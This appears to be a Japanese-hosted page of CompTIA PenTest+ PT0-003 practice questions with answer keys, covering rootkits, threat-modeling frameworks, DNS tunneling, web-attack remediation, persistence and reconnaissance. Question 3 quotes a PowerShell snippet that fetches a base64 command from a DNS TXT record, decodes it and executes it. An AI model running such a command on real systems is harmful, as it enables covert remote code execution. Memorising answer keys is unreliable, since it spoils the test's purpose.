CompTIA PT0-003 問題集

質問 1：
During a security assessment for an internal corporate network, a penetration tester wants to gain unauthorized access to internal resources by executing an attack that uses software to disguise itself as legitimate software. Which of the following host-based attacks should the tester use?
A. Logic bomb
B. Buffer overflow
C. On-path
D. Rootkit
正解：D
解説: (Topexam メンバーにのみ表示されます)

質問 2：
A penetration tester needs to help create a threat model of a custom application. Which of the following is the most likely framework the tester will use?
A. CI/CD
B. DREAD
C. MITRE ATT & CK
D. OSSTMM
正解：B
解説: (Topexam メンバーにのみ表示されます)

質問 3：
A penetration tester writes the following script, which is designed to hide communication and bypass some restrictions on a client ' s network:
$base64cmd = Resolve-DnsName foo.comptia.org -Type TXT | Select-Object -ExpandProperty Strings
$decodecmd = [System.Text.Encoding]::UTF8.GetString([System.Convert] ::FromBase64String ($base64cmd)) Powershell -C $decodecmd Which of the following best describes the technique the tester is applying?
A. DNS infiltration
B. DNS tunneling
C. DNS poisoning
D. DNS trail
正解：B
解説: (Topexam メンバーにのみ表示されます)

質問 4：
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
INSTRUCTIONS
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

正解：

Explanation:
1. Reflected XSS - Input sanitization ( < > ...)
2. Sql Injection Stacked - Parameterized Queries
3. DOM XSS - Input Sanitization ( < > ...)
4. Local File Inclusion - sandbox req
5. Command Injection - sandbox req
6. SQLi union - paramtrized queries
7. SQLi error - paramtrized queries
8. Remote File Inclusion - sandbox
9. Command Injection - input saniti $
10. URL redirect - prevent external calls

質問 5：
A consultant starts a network penetration test. The consultant uses a laptop that is hardwired to the network to try to assess the network with the appropriate tools. Which of the following should the consultant engage first?
A. DNS enumeration
B. OS fingerprinting
C. Host discovery
D. Service discovery
正解：C
解説: (Topexam メンバーにのみ表示されます)

質問 6：
A penetration tester wants to maintain access to a compromised system after a reboot. Which of the following techniques would be best for the tester to use?
A. Creating a scheduled task
B. Executing a process injection attack
C. Performing a credential-dumping attack
D. Establishing a reverse shell
正解：A
解説: (Topexam メンバーにのみ表示されます)

質問 7：
A penetration tester wants to gather the names of potential phishing targets who have access to sensitive data.
Which of the following would best meet this goal?
A. Censys.io
B. WHOIS
C. theHarvester
D. SpiderFoot
正解：C
解説: (Topexam メンバーにのみ表示されます)

質問 8：
Which of the following will reduce the possibility of introducing errors or bias in a penetration test report?
A. Goal reprioritization
B. Peer review
C. Secure distribution
D. Use AI
正解：B
解説: (Topexam メンバーにのみ表示されます)